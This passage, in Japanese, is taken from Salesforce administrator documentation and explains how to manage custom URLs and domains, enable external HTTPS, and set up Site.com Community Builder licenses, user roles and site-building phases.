Force.comおよびコミュニティサイトのルートパスでのみ使用でき、Site.comサイ
トでは使用できません。Chatterコミュニティの場合に主 URL を選択しないと、サ
イトにある最初の httpsカスタムドメインが認証ページとメールに使用されま
す。カスタム httpsドメインが存在しない場合は、Force.comドメインが使用さ
れます。
カスタム URL を追加する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「カスタム URL」と入力し、[カスタ

ム URL]を選択します。または、[クイック検索]ボックスに「ドメイン」と入
力し、[ドメイン] を選択してドメイン名をクリックします。

2. [新規カスタム URL]をクリックします。
3. ドメイン名を入力します。
4. サイト名を入力します。
5. 一意のパスを入力します。
6. [保存]をクリックします。または、[保存 & 新規] をクリックして、複数のカスタム URL を追加します。

例: ドメイン名とパスがカスタム URL テーブルで別の列に表示されていても、実際の URL はその組み合わ
せで構成されます。
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ドメインおよびカスタム URL の管理
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ドメインを参照する
• 「設定・定義を参照す

る」

ドメインを追加する
• 「アプリケーションの

カスタマイズ」または
「設定・定義を参照す
る」と、Site.com
Publisher ライセンスま
たは「コミュニティの
作成および設定」のい
ずれか

ドメインを編集または削
除する
• 「アプリケーションの

カスタマイズ」

ドメインに証明書を関連
付ける
• コミュニティを使用し

ない場合は、Salesforce
にご連絡ください。コ
ミュニティを使用する
組織は証明書をドメイ
ンに関連付けることが
できます。
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ユーザ権限

カスタム URL を表示する
• 「設定・定義を参照す

る」

カスタム URL を追加、編
集、および削除する
• 「アプリケーションの

カスタマイズ」または
「設定・定義を参照す
る」と、Site.com
Publisher ライセンスま
たは「コミュニティの
作成および設定」のい
ずれか

[設定] の [ドメイン管理] を使用して、すべての証明書、カスタム URL、およびド
メインに添付されているサイトを管理できます。
既存のドメインへの新規カスタム URL の追加、ドメイン名の変更、特定のドメ
インからのカスタム URL の削除を行うことがあります。[ドメインの詳細] ページ
では、ドメインと URL を 1 ページで管理できます。上部セクションには、ドメイ
ンと証明書に関する情報が表示されます。下部セクションには、ドメインの [カ
スタム URL] 関連リストが表示されます。このページでは、次の操作を実行でき
ます。
• ドメイン名と証明書の編集 — [ドメインの詳細] セクションの [編集]をクリッ

クします。
• ドメインの削除 — [ドメインの詳細] セクションの [削除]をクリックします。
• 新規カスタム URL の追加 — [新規カスタム URL] をクリックします。
• 既存のカスタム URL の編集 — カスタム URL 行の [編集] をクリックします。
• カスタム URL の削除 — カスタム URL 行の [削除] をクリックします。
• 公開されている場合はサイトの参照 — カスタム URL 行の [参照] をクリックします。
• サイトにジャンプ — [サイトの表示ラベル] の下にあるサイト名をクリックします。
• 添付された証明書にジャンプ — [証明書と鍵] の横にある証明書名をクリックします。
• ドメインの外部 HTTPS が有効になっているかどうかの確認。

yourdomain.your18characterOrgId.live.siteforce.com  CNAME ターゲットを指し示していないド
メインの場合にのみこのオプションを使用できます。

メモ: コミュニティで使用されているドメイン名は編集できません。

[ドメインの詳細] ページにアクセスする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ドメイン」と入力し、[ドメイン] を選択します。
2. [ドメイン名] 列のドメイン名をクリックします。

メモ: http を使用するように設定したドメインで、https を代わりに使用するように編集した場合は、
Site.com サイトを再度公開する必要があります。
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ドメインの削除
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ドメインを削除する
• 「アプリケーションの

カスタマイズ」

[ドメイン管理] ページを使用して、組織からドメインを削除できます。
公開サイトに添付されているドメインは削除できません。削除する前に、ドメ
インに添付されているすべてのサイトを非公開にする必要があります。Force.com

サイトの場合はドメインがすぐに削除され、そのドメインに接続されているど
のサイトにもアクセスできなくなります。ただし、Site.comサイトでは、サイト
を再公開するまでドメインは有効のままになります。
組織からドメインを削除する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ドメイン」と入力し、[ドメイン]

を選択します。
2. ドメイン名の横にある [削除] をクリックします。
3. [OK]をクリックします。
未公開のサイトが添付されているドメインを削除すると、そのサイトに関連付
けられているカスタム URL も削除されます。

関連トピック:

ドメインの管理
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カスタム URL の削除
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタム URL を表示する
• 「設定・定義を参照す

る」

カスタム URL を追加、編
集、および削除する
• 「アプリケーションの

カスタマイズ」または
「設定・定義を参照す
る」と、Site.com
Publisher ライセンスま
たは「コミュニティの
作成および設定」のい
ずれか

[ドメイン管理] ページを使用して、組織からカスタム URL を削除できます。
公開サイトに添付されている URL は削除できません。削除する前に、カスタム
URL に添付されているサイトを非公開にする必要があります。Force.comサイトの
場合は URL がすぐに削除され、そのURL に接続されているどのサイトにもアクセ
スできなくなります。ただし、Site.comサイトでは、サイトを再公開するまで URL

は有効のままになります。
ドメインから URL を削除する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「カスタム URL」と入力し、[カスタ

ム URL] を選択します。
2. URL 名の横にある [削除] をクリックします。
3. [OK]をクリックします。

関連トピック:

ドメインの管理

ドメインの外部 HTTPS の有効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ドメインの外部 HTTPS の有効化により、Salesforceは、Salesforceコミュニティから
メールメッセージ内に表示される URL などの、ドメインに関連付けられている
サイトを安全に参照するために、ドメインを使用します。この機能は、コミュ
ニティサイト、ポータルサイト、または機密性、傍受からの保護、なりすまし
に対する保護が重要な任意の種別のサイトなどの、認証が必要なサイトに有用
です。
このオプションは、Salesforce以外の Content Delivery Network (CDN) または HTTPS に対
応するエンドポイントを使用するドメインを対象にしています。
yourdomain.your18characterOrgId.live.siteforce.com  CNAME ターゲッ
トを参照していない任意のドメインの外部 HTTPS を有効にできます。
ドメインの外部 HTTPS が有効になっていて、ドメインの DNS レコードがそのドメインの live.siteforce.com

サブドメインを参照する CNAME でない場合、Salesforceでは、そのドメインがセキュアな接続をサポートしてい
るとみなされます。
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無効になっている場合、またはドメインの DNS レコードがそのドメインの想定される live.siteforce.com

サブドメインを参照する CNAME である場合、Salesforceでは、そのドメインがセキュアな接続をサポートしてい
ないとみなされます。
新しいドメインを追加するときに外部 HTTPS を有効にすることはできません。有効にできるのは既存のドメイ
ンを編集するときだけです。
ドメインの外部 HTTPS を有効にするには、ドメインのリストページまたは詳細ページから [編集] をクリック
し、[外部 HTTPS を有効化] を選択します。
外部 HTTPS を有効にしているドメインがコミュニティ以外のSite.comカスタム URL のみで構成されている場合、
影響を受ける Site.com サイトを Site.com Studio を使用して手動で公開し、この変更をこれらのサイトに反映させ
る必要があります。少なくとも 1 つのコミュニティサイトまたはForce.comサイトがコミュニティ以外のSite.com

サイトと同じドメインに存在する場合、この [外部 HTTPS を有効化] のビットに対する変更はそのドメインで自
動的に公開されます。

関連トピック:

ドメインおよびカスタム URL の管理
ドメインの管理

独自の Web サイトの構築

コミュニティビルダーまたは Force.com サイトを使用して、カスタムページやカスタムアプリケーションを備
えた Salesforce 組織を作成できます。

コミュニティビルダー (Site.com)

コミュニティビルダーは Web コンテンツ管理システム (CMS) です。この製品では、データ主導の動的な Web

ページを迅速に構築し、実行時にコンテンツを編集したり、Web サイトを管理したりできるようになりま
す。
Force.com サイト
Force.com サイトでは、公開 Web サイトとアプリケーションを作成できます。それらは Salesforce 組織と直接
統合されるため、ユーザがログインする場合にユーザ名やパスワードは必要ありません。組織に保存され
た情報を任意のブランド URL を介して公開し、サイトのページを会社のブランドのデザインと一致させる
ことができます。
コミュニティビルダー (Site.com) と Force.com サイトの違いは?

コミュニティビルダーは、コミュニティをカスタマイズするための直感的で便利なツールです。一方、
Force.com サイトでは、Apex や API を使用してプログラムによってカスタムページや Web アプリケーション
を作成できます。
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コミュニティビルダー (Site.com)

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

コミュニティビルダーは Web コンテンツ管理システム (CMS) です。この製品で
は、データ主導の動的な Web ページを迅速に構築し、実行時にコンテンツを編
集したり、Web サイトを管理したりできるようになります。
Site.com アプリケーションの Site.com タブでは、Site.com Studio を起動できます。
Site.com Studio では、ピクセル単位で完璧なカスタム Web サイトを作成および編
集するための個別の専用環境が提供されます。サイト管理者およびデザイナは、
ドラッグアンドドロップページ要素を使用して Web ページを作成してスタイル
設定し、ナビゲーションメニュー、画像、テキスト領域などの機能を追加でき
ると同時に、サイトのページを企業のブランドのデザインに一致させることが
できます。また、マーケティングユーザなどのコンテンツ寄稿者は、簡易化さ
れた Site.com Studio 環境で直接 Web サイトのコンテンツを参照および更新できま
す。さらに、Site.comで作成された Web サイトは Salesforceの信頼できるグローバ
ルインフラストラクチャで実行することによりメリットが得られます。

メモ: Site.com Studioで使用可能な機能は、ユーザがサイト管理者、デザイナ、寄稿者のいずれであるかに
応じて異なります。

次の例に、いくつかの Site.com の使用方法について説明します。
• イベントサイトの作成 — 公開イベントサイトにグランドオープン、製品発売、または販売開始などの今後

のイベントを広告します。
• 新製品の販売促進 — 販売促進を実現するプロモーション Web サイトを使用して新規製品を市場に販売しま

す。
• サポート FAQ を公開 — 顧客が問題のソリューションを参照できる公開 Web サイトで役立つ情報を提供しま

す。
• マイクロサイトおよびリンク先ページの作成 — マーケティングキャンペーン向けの一時的なリンク先ペー

ジまたはターゲットのマイクロサイトを作成します。
• 社員募集 Web サイトを作成 — 公開サイトに求人情報を投稿して、訪問者が申し込み書と履歴書をオンライ

ンで登録できるようにします。
• 商品のカタログを公開 — 公開 Web サイトの会社の全商品を、組織から動的に引き出されたモデル番号、現

在の価格と共に一覧表示します。
• 会社のプレスリリースを投稿 — 会社のプレスリリースを公開し、公開日によって並び替えます。

システム要件
Site.com Studio を使用する場合は、次の事項が推奨されます。
• 最高のパフォーマンスを得るために Mozilla® Firefox®または Google® Chrome を使用する。Microsoft® Internet Explorer

バージョン 6.0 および 7.0 はサポートされていません。
• Firefox の Firebug 拡張機能がインストールされている場合は無効にする。パフォーマンスに影響が及ぶ可能

性があります。
• 1024x768 以上のブラウザ解像度。
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Site.com 機能ライセンスについて
Site.com Web サイトの計画および実装
テンプレートのないコミュニティビルダー (Site.com) の使用
Site.com サイトの作成
アセットのインポートと管理
デザイナまたはサイト管理者としての Site.com ページの編集
Site.com のページ要素
寄稿者の Studio ビューの設定
Site.com Studio で寄稿者が実行可能な操作を制御します。
カスケードスタイルシートの概要
サイトブランドの概要
ブランド設定によって、Web サイトのブランドのさまざまな部分を柔軟な方法で定義できます。ブランド
プロパティを定義すると、エディタは、ブランドエディタという 1 つの場所ですべてを容易にカスタマイ
ズできます。Web サイトエディタがプロパティをカスタマイズするとき、ブランド設定の変更のプレビュー
を即座に参照できます。
カスタムサイトプロパティの概要
カスタムサイトプロパティでは、サイトで頻繁に表示されるコンテンツを定義して保存できます。たとえ
ば、住所や電話番号をカスタムプロパティとして保存すれば、サイトを編集するユーザは誰でもこのプロ
パティを再利用できます。式言語の構文を使用すると、保存されたプロパティをページ、ヘッダーやフッ
ター、ウィジェットにすばやく適用できます。
Site.com データサービスの概要
Site.comデータサービスは、標準およびカスタムSalesforceオブジェクトに接続できるようにする多くの機能
を組み合わせています。組織のオブジェクトからデータを取得してサイトのページに動的に表示したり、
または、顧客からデータを収集して送信したりできます。また、Salesforce オブジェクトのデータを更新し
た場合、変更はライブサイトに自動的に反映されるため、サイトを更新する必要がなくなります。
ウィジェットの概要
ウィジェットを使用すると、自分と他のユーザがサイト全体で再利用できるカスタムページ要素を作成す
ることができ、時間を節約できます。
マルチ言語サイトの概要
Site.com Studio では、異なる言語バージョンのサイトを作成できます。また、すべての言語がサイト内に保
持されるため、言語ごとに個別のサイトを作成して維持する必要はありません。
イベントの概要
寄稿者のページ編集ビューについて
モバイルデバイスに表示されるページのプレビュー
サイト管理者、デザイナ、および寄稿者は、ライブモードを使用して、ページおよびテンプレートが携帯
電話やタブレットなどのデバイスでどのように表示されるかをプレビューできます。
Site.com サイトのプレビュー
Site.comIP 制限の概要
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Site.com でのドメインの管理
サイトをインターネットに公開するには、サイトのドメイン情報を設定する必要があります。

関連トピック:

Site.com ユーザの設定
Site.com Web サイトの計画および実装
サイト管理者またはデザイナとしての Site.com Studio の使用
寄稿者としての Site.com Studio の使用

Site.com 機能ライセンスについて

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

Site.com にアクセスするには、組織の各ユーザに Site.com 機能ライセンスが必要
です。
• Site.com Publisher 機能ライセンスでは、Site.com Studio にアクセスすることによ

り、Web サイトの作成とスタイル設定、ページとページ要素のレイアウトと
機能の制御、コンテンツの追加と編集を行えます。

• Site.com Contributor 機能ライセンスでは、Site.com Studio にアクセスしてサイト
コンテンツのみを編集できます。

サイトでユーザが実行する必要のある内容を考察し、それに合わせて機能ライ
センスを購入してください。各機能ライセンスで提供される機能の完全なリス
トについては、「Site.com機能について」を参照してください。機能ライセンス
を購入したら、Site.com ユーザの設定を行えます。
割り当てられた機能ライセンス数は、組織のプロファイルで参照できます。

メモ: Performance Edition、Unlimited Edition、または Enterprise Edition を使用している組織は、Site.com Publisher

および Site.com Contributor の機能ライセンスを別途購入する必要があります。また、インターネットに公
開されている各サイトに Site.com Published Site ライセンスが必要です。Site.com ライセンスの購入について
は、Salesforce までお問い合わせください。
Developer Edition 組織には、2 つの Site.com Publisher 機能ライセンスおよび 1 つの Site.com Contributor 機能ライ
センスが含まれます。Developer Edition 組織はサイトを公開できません。
「コミュニティの作成および設定」権限を持つコミュニティユーザには、コミュニティの Site.comサイト
のサイト管理者ロールが割り当てられます。権限のないコミュニティユーザがサイトを編集できるよう
にするには、Site.com Publisher またはSite.com Contributor 機能ライセンスを購入して割り当て、サイトレベル
でユーザロールを割り当てる必要があります。

Site.com ユーザの設定
Site.com のユーザロールについて
Site.com のユーザとロールの管理

5983

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



Site.com 機能について

関連トピック:

Site.com のユーザロールについて
Site.com のユーザとロールの管理

Site.com ユーザの設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ユーザを作成または編集
する
• 「内部ユーザの管理」

ユーザが Site.com にアクセスするには、Site.com 機能ライセンスを各ユーザに割
り当てて、サイトレベルでユーザロールを割り当てる必要があります。Site.com

Studioでサイトを編集するときに使用できる機能は、これらの設定によって異な
ります。
まず、「Site.com機能について」で、各ユーザに必要な機能ライセンス、権限、
ロールに関する詳細情報を確認してください。
適切なアクセスレベルを決定したら、次の操作を実行します。
1. ユーザのプロファイルを編集して、ユーザに機能ライセンスを割り当てま

す。割り当てる手順は、次のとおりです。
• Site.com Publisher 機能ライセンスの場合は、[Site.com Publisher ユー

ザ] チェックボックスをオンにします。
• Site.com Contributor 機能ライセンスの場合は、[Site.com Contributor

ユーザ] チェックボックスをオンにします。
機能ライセンスが割り当てられたら、Salesforce ヘッダーの Force.com アプリ
ケーションメニューの Site.com にアクセスできます。

メモ: チェックボックスが表示されない場合は、組織で Site.com が有効
化されていることを確認してください。「Site.com 機能ライセンスにつ
いて」 (ページ 5983)を参照してください。

2. 「設定・定義を参照する」権限が有効になっていることを確認します。Site.com Studio で Web サイトを作成
または編集するすべてのユーザにはこの権限が必要です。

3. また、Site.com 機能ライセンスと「ユーザの管理」権限の両方を持つユーザが、組織あたり少なくとも 1 人
割り当てられていることを確認します。こうすることで、サイトのユーザが誤って削除されても、いつで
も誰かがユーザロールの再割り当てを行うことができます。

警告: 「ユーザの管理」権限は強力です。この権限では、Site.com だけでなく、組織のその他のすべて
のユーザを管理できます。

4. サイト内にユーザを追加し、ユーザロールを割り当てます。Site.com Publisher 機能ライセンスを持つユーザ
がサイトを作成すると、ユーザにサイトレベルのサイト管理者のロールが自動的に割り当てられます。

各サイトでユーザが実行できる内容はすべて、機能ライセンス、権限、およびユーザロールによって決定され
ます。たとえば、組織内のすべてのサイトを管理できる管理ユーザを作成する場合、Publisher 機能ライセンス
の割り当て、およびサイト管理者のロールの割り当てをサイトレベルで行います。
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サイトコンテンツへの管理アクセスは不要で、サイトコンテンツを編集するための限定アクセスのみが必要な
ユーザには、Contributor 機能ライセンスと寄稿者ロールをサイトレベルで割り当てます。
または、サイトでロールを管理できるが、公開する権限はないユーザを作成するには、Publisher 機能ライセン
ス、「ユーザの管理」権限、およびデザイナロールをサイトレベルで割り当てます。

関連トピック:

Site.com のユーザロールについて

Site.com のユーザロールについて

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

各 Site.com ユーザはサイトレベルで割り当てられているユーザロールが必要で
す。このユーザロールで、各ユーザがサイトで実行できる操作が制御されます。
ユーザはサイトあたり 1 つのロールのみを持つことができますが、ロールはサ
イトによって変わる可能性があります。たとえば、1 人のユーザがあるサイトで
はサイト管理者であり、別のサイトでは寄稿者である場合があります。
サイトのユーザロールを管理するには、そのサイトのサイト管理者であるか、
Site.com 機能ライセンスおよび「ユーザの管理」権限が必要です。

メモ: 「コミュニティの作成および設定」権限を持つコミュニティユーザ
には、コミュニティのSite.comサイトのサイト管理者ロールが割り当てられ
ます。ただし、これらのユーザは、Site.com Studio の [概要] タブの [ユーザ
ロール] セクションには表示されません。

ユーザはサイトレベルで次の 3 つのロールのいずれかを持つことができます。
• サイト管理者 — すべてのサイトコンテンツの作成と管理ができるユーザです。サイト、テンプレート、ス

タイルシート、ページの作成と、ドメインの設定、サイトの公開、ユーザロールの割り当てができます。
このロールには Site.com Publisher 機能ライセンスが必要です。

• デザイナ — サイト管理者と同じようにサイトコンテンツを制御できますが、ドメインの管理とサイトの公
開はできません。デフォルトでは、「ユーザの管理」権限がなければ、ロールの割り当てはできません。
このロールには Site.com Publisher 機能ライセンスが必要です。

• 寄稿者 — コンテンツに対するアクセス権が最も制限されており、通常はページのテキストと画像の編集の
みができます。デフォルトでは、「ユーザの管理」権限がなければ、ロールの割り当てはできません。こ
のロールには Site.com Contributor 機能ライセンスが必要です。

各ユーザロールの機能の詳細リストは、「Site.com 機能について」 (ページ 5987)を参照してください。

関連トピック:

Site.com のユーザとロールの管理
Site.com ユーザの設定
寄稿者の Studio ビューの設定
Site.com 機能ライセンスについて
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Site.com のユーザとロールの管理

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comユーザを管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

サイトを作成したら、他のユーザを追加してロールを割り当てることができま
す。ユーザへのSite.com機能ライセンスの割り当てをまだ行っていない場合は、
サイトにユーザを追加できません。

メモ: 「コミュニティの作成および設定」権限を持つコミュニティユーザ
には、コミュニティのSite.comサイトのサイト管理者ロールが割り当てられ
ます。ただし、これらのユーザは、Site.com Studio の [概要] タブの [ユーザ
ロール] セクションには表示されません。

ユーザロールを割り当てるときは、ユーザのSite.comライセンスに適合するユー
ザを追加してください。ユーザがSite.comにログインするときに、サイトレベル
で割り当てられたロールに対してライセンスがチェックされます。ロールに関
連付けられた権限を許可しないライセンスである場合、ユーザには、ライセン
スに関連付けられた権限が与えられます。たとえば、ユーザがSite.com Contributor

機能ライセンスを持っているが、サイト管理者のロールが割り当てられている
場合、割り当てられたロールに関係なく、寄稿者権限のみが与えられます。
ユーザを追加して、ロールを割り当てる手順は、次のとおりです。
1. Site.com Studio の [概要] タブで [サイトの設定] > [ユーザロール] をクリックし

ます。
2. [ユーザを追加] をクリックします。
3. [選択可能なユーザ] セクションで、追加するユーザを強調表示します。
4. [追加] ドロップダウンリストから、ロールを選択します。
5. 矢印をクリックして、[選択済みのユーザ] セクションにユーザを移動します。
6. [保存] をクリックします。
ユーザを削除する手順は、次のとおりです。
1. [ユーザロール] ビューで、ユーザを選択します。
2. [ ] > [削除] をクリックします。
3. [OK] をクリックします。
ユーザのロールを変更する手順は、次のとおりです。
1. [ユーザロール] ビューで、ユーザのロールにマウスポインタを置きます。
2. 矢印をクリックして、すべてのロールを表示します。
3. 新しいロールを選択します。
同時にユーザのグループのロールを削除または変更するには、[一括アクション] を使用します。
1. [ユーザロール] ビューで、各ユーザ名の横にあるチェックボックスをオンにします。
2. [一括アクション] をクリックします。
3. アクションを選択します。
4. [適用] をクリックします。
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メモ: 複数のユーザのロールを一度に更新する場合、選択したすべてのユーザに同じロールのみを割
り当てることができます。

関連トピック:

Site.com ユーザの設定
寄稿者の Studio ビューの設定
Site.com Web サイトの計画および実装
Site.com 機能について

Site.com 機能について

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

Site.com Studio でサイトを編集するときに使用できる機能は、Site.com 機能ライセ
ンスや、特定のサイトのユーザロールによって異なります。
次の表では、Site.com Studio の多くの機能で必要な機能ライセンス、権限、およ
びロールを示しています。

メモ:

• 「コミュニティの作成および設定」権限を持つコミュニティユーザに
は、コミュニティの Site.com サイトのサイト管理者ロールが割り当てら
れます。

• Site.com のコミュニティサイトを作成、削除、複製することはできませ
ん。

Site.com Studio の機能の要件

権限Site.com Studio ユーザ
ロール

機能ライ
センス

機能

「内部ユーザ
の管理」

ユーザプロファイルに機能
ライセンスを割り当てる

Site.com機能ラ
イセンスと

サイト管理者Publisherサイトレベルでユーザおよ
びロールを追加する

「ユーザの管
理」権限を持
つユーザ。

サイト管理者またはデ
ザイナ

Publisher寄稿者がぺージを作成し、
コンテンツブロックやウィ
ジェットを追加して、コン
テンツブロックやグラ
フィックを編集できるよう
にする
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Site.com Studio の機能の要件

権限Site.com Studio ユーザロール機能ライセン
ス

機能

サイトを作成するユーザはサイ
ト管理者としてそのサイトに自
動的に追加されます。

PublisherWeb サイトを作成する

サイト管理者またはデザイナPublisherWeb サイトを削除する

サイトをインポートするユーザ
はサイト管理者としてその新し

PublisherWeb サイトをインポートする

いサイトに自動的に追加されま
す。

サイト管理者またはデザイナPublisherWeb サイトをエクスポートする

サイト管理者またはデザイナPublisherWeb サイトを複製する

サイト管理者Publisherドメインを管理する
(Developer Edition では使用不可)

サイト管理者PublisherIP 制限を追加および編集する

サイト管理者Publisherライブ Web サイトに変更を公開する
(Developer Edition では使用不可)

サイト管理者またはデザイナPublisherページテンプレートを作成する

サイト管理者またはデザイナ
ページテンプレートの [プロパ
ティ] ペインでサイト管理者また

Publisher または
Contributor

Web サイトページを作成する

はデザイナによって有効化され
る場合に限り寄稿者。

サイト管理者またはデザイナPublisherスタイルシートを作成および変更する

サイト管理者またはデザイナPublisherレイアウトやデザインを変更する

サイト管理者またはデザイナ
デザイナまたはサイト管理者に
よって有効にされている場合に

Publisher または
Contributor

ページ要素を追加する

のみ、寄稿者がコンテンツブ
ロックやウィジェットを追加で
きます。

サイト管理者またはデザイナPublisherデータの繰り返し要素およびその他の
データバインドページ要素を追加する
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Site.com Studio の機能の要件

権限Site.com Studio ユーザロール機能ライセン
ス

機能

「プロファイルと権
限セットの管理」と

サイト管理者またはデザイナPublisherSalesforceオブジェクトへの公開アクセ
ス権限を設定するゲストユーザプロ
ファイルを変更する 「アプリケーション

のカスタマイズ」

割り当てられているすべての
ロール

Publisher または
Contributor

画像、ファイルなどのアセットをイン
ポートする

サイト管理者またはデザイナ
ページテンプレートの [プロパ
ティ] ペインでサイト管理者また

Publisher または
Contributor

コンテンツおよび画像を編集する

はデザイナによって有効化され
る場合に限り寄稿者。

割り当てられているすべての
ロール

Publisher または
Contributor

Web サイトページをプレビューする
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Site.com Web サイトの計画および実装

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを作成また
はインポートする
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

Web サイトを作成する方法はたくさんあります。最適なプロセスは、チームの
規模、担当する職務など多数の要因に応じて異なります。
サイト管理者またはデザイナである場合、サイトのコンテンツの追加および管
理を含むすべてのフェーズに関与する可能性があります。また、このコンテン
ツを追加、編集および管理する寄稿者が存在する場合があります。また、寄稿
者である場合、サイトのすべてのコンテンツの編集および更新を担当したり、
サイトが完成するまで他の寄稿者、デザイナ、サイト管理者と連携したりする
可能性があります。
このトピックでは、Site.comでのサイトの作成に関するさまざまなフェーズにつ
いて説明します。
• サイトのデザインおよびページレイアウトを計画する (サイト管理者または

デザイナ) — サイトのページを作成する前に、サイトのデザインおよび基本
レイアウトを計画する時間を取ります。このフェーズは、最小限の労力で整
合性のあるデザインを実現するうえで重要です。階層的な観点から、必要な
ページ数およびサブページを含むかどうかについて検討します。また、サイ
トの訪問者がサイト内を移動する方法を考慮します。
次に、ページのレイアウトを計画し、すべてのページに含める共通の要素を
特定します。この例では、サイトに会社のロゴおよびメニュー (1) およびフッ
ターセクション (2) を含むヘッダーセクションがあります。ただし、ホーム
ページ (3) のメインセクションは他のサイトページ (4) とは異なります。サイ
トページの作成方法に影響があるため、これらページの類似点および相違点
については注意をします。
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• サイトを作成する (サイト管理者またはデザイナ) — 計画フェーズが完了したら、準備完了です。Site.comア
プリケーションにログインして、[Site.com] タブの概要に移動します。このタブで、最初のサイトを作成で
きます。作成された新しい空のサイトが、サイトページを作成するための強力な環境である Site.com Studio

で開きます。

メモ: ユーザ詳細ページで [Site.com Publisher ユーザ] 項目が有効化されているユーザのみが、
サイトの作成とインポートを行えます。

• アセットをインポートする (サイト管理者またはデザイナ) — デザインエージェンシーと連携する場合は、
CSS スタイルシートを含む必要なファイルおよびアセットをすべて提供できます。独自のデザインを作成し
た場合、デザインを切り取り、サイトで使用する予定のアセット、画像およびファイルを収集します。ア
セットをSite.com Studioにインポートします。インポートされたアセットは [概要] タブの [アセット] セクショ
ンに表示されます。

• ページテンプレートを作成する (サイト管理者またはデザイナ) — レイアウトの決定後は、最も早く最も効
率的な方法は、ページテンプレートを使用して基本的なレイアウトを作成し、それをサイトページのベー
スとして使用することです。メインページテンプレートのデザインは、今後簡単に変更できるようにシン
プルにするように心がけます。サンプルの図など、より複雑なサイトデザインの場合は、最大限の柔軟性
を実現するため子テンプレートのベースとしてメインページテンプレートを使用できます。ページテンプ
レートを作成する場合、ヘッダー、フッター、および列を含む事前にデザインされたレイアウトから選択
したり、空白のページテンプレートを作成できます。

• ページをレイアウトする (サイト管理者またはデザイナ) — ページテンプレートの作成後、サイトのデザイ
ンにマッチするようにレイアウトをさらに変更できます。

• サイトページを作成する (サイト管理者またはデザイナ) — ベースとしてテンプレートを使用すると、ペー
ジテンプレートのすべての要素を自動的に継承するサイトページをすばやく作成できます。また、サイト
の全体のデザインには従わないスタンドアロンページを必要とする場合、代わりに空白ページを作成でき
ます。

• 機能およびページ要素を追加する (サイト管理者またはデザイナ) — Site.comの事前に作成されたページ要素
を使用して、ナビゲーションメニュー、画像、データサービスなどの機能を追加したり、寄稿者が編集で
きるコンテンツブロックを含めたりします。また、イベントおよびアクションを使用して直観的なアニメー
ション効果を追加します。

• Web サイトの外観を改善する (サイト管理者またはデザイナ) — カスケードスタイルシート (CSS) を活用し、
Web サイトのデザインを作成します。CSS でもまったく作業がはかどらない場合は、[スタイル] ペインでス
タイルを作成および管理するための簡単で視覚的な方法が提供されます。または、CSS の専門家で、すぐに
コード作成を開始したい場合は、サイトのスタイルシートのコードを手動でき作成できます。
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• コンテンツを追加および編集する (寄稿者または公開者) — 寄稿者である場合は、このフェースで、通常、
サイトがテキスト、画像、動画、およびハイパーリンクなどのコンテンツを追加および編集できる状態に
なっています。また、作業をするとき、必要な画像またはファイルをアップロードできます。

• サイトを確認およびテストする (寄稿者、サイト管理者、デザイナ) — サイトのページへの変更のテストは、
開発サイクル全体で実行されます。寄稿者、デザイナ、サイト管理者として、ブラウザで期待どおりに表
示されるかを確認するため、必ず変更をプレビューする必要があります。また、サイト管理者またはデザ
イナである場合は、稼働させる前に完成したサイトをレビューできるようにプレビューリンクをサイトの
レビュー担当者に送信できます。

• サイトを公開する (サイト管理者のみ) — テストの完了後、新しいサイトを稼働させることができます。サ
イトのドメイン情報を設定し、変更を公開してから、サイトを稼働させましょう!

[Site.com] タブの概要
サイト管理者またはデザイナとしての Site.com Studio の使用
寄稿者としての Site.com Studio の使用
サイト管理者およびデザイナの [概要] タブについて
寄稿者の [概要] タブについて

関連トピック:

サイト管理者またはデザイナとしての Site.com Studio の使用
寄稿者としての Site.com Studio の使用
寄稿者の Studio ビューの設定
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[Site.com] タブの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを作成また
はインポートする
• [Site.com

